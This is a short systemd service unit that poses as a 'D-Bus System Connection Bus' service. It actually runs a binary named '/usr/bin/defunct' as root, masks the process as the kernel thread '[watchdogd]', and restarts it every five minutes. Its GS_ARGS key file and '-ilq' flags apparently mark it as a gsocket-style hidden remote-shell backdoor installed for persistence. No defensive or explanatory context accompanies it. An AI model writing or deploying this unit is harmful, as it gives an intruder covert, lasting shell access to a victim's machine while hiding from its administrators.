[Unit]
Description=D-Bus System Connection Bus
After=network.target

[Service]
Type=simple
Restart=always
RestartSec=300
WorkingDirectory=/root
ExecStart=/bin/bash -c "GS_ARGS='-k /lib/systemd/system/defunct.dat -ilq' exec -a '[watchdogd]' '/usr/bin/defunct'"

[Install]
WantedBy=multi-user.target